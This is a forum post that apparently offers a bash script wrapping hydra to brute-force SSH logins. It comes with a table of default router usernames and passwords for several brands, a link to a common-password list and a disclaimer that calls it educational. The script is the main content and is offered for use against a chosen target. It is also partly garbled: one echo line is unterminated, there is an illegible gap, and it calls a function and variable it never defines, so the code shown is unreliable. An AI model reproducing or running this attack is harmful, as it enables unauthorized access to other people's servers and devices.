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Thread: [SSH Brute Force Scanner](#)

Clumsy - May 31, 2024, 9:48 am

About the script.

The script checks if hydra is installed, which is required for the brute force attack.

Parameter Handling.

It uses command line arguments for user configurability including SSH port, timeout, and paths to user and password lists.

Running Hydra It uses the hydra command to launch a brute-force attack, with verbosity enabled to see login attempts and stops on the first success (-f flag).

Usage.

You would need to have a user list and a password list, stored by default in users.lst and pass.lst.

EXAMPLE

```
Code 3Com http://192.168.1.1 admin admin
Belkin http://192.168.2.1 admin admin
BenQ http://192.168.1.1 admin admin
D-Link http://192.168.0.1 admin admin
Digicom http://192.168.1.254 admin michelangelo
Digicom http://192.168.1.254 user password
Linksys http://192.168.1.1 admin admin
Netgear http://192.168.0.1 admin password
Sitecom http://192.168.0.1 sitecom admin
Thomson http://192.168.1.254 user user
US Robotics http://192.168.1.1 admin admin
[CODE]
```

Password List

```
[url=https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10k-most-common.txt]https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10k-most-common.txt[/url]
```

[CODE]

```
#!/bin/bash
```

```
sudo apt install hydra -y
```

```
flash_text() {
    for i in {1..5}; do
        echo -e "Welcome To HF Scan V1 By Clumsy"
        echo -e "
        echo -e "-----?????????????????-----"
        echo -e "-----?????????????????-----"
```

[illegible]

```

}

# Parse command-line options
while getopts ":p:U:P:t:" opt; do
    case ${opt} in
        p)
            SSH_PORT=$OPTARG
            ;;
        U)
            USER_LIST=$OPTARG
            ;;
        P)
            PASS_LIST=$OPTARG
            ;;
        t)
            TIMEOUT=$OPTARG
            ;;
        \?)
            echo "Invalid option: $OPTARG" 1>&2
            usage
            ;;
        :)
            echo "Invalid option: $OPTARG requires an argument" 1>&2
            usage
            ;;
    esac
done
shift $((OPTIND -1))

# Check if target is provided
if [ -z "${TARGET}" ]; then
    usage
fi

# Run Hydra to perform the brute force attack
echo "Starting brute-force attack on $TARGET..."
hydra -t $TIMEOUT -V -f -L $USER_LIST -P $PASS_LIST -s $SSH_PORT ssh://$TARGET
Disclaimer

```

The creator of this post hereby declares that they are not responsible for any actions taken by users with the provided script. The script is intended solely as a demonstration and educational guide to illustrate how SSH brute forcing is carried out. Any use of the script for unauthorized or illegal purposes is entirely at the user's own risk. The creator strongly advises users to adhere to ethical standards and respect all applicable laws and regulations regarding computer security and usage. By utilizing the script, users acknowledge and accept full responsibility for their actions and any consequences that may arise.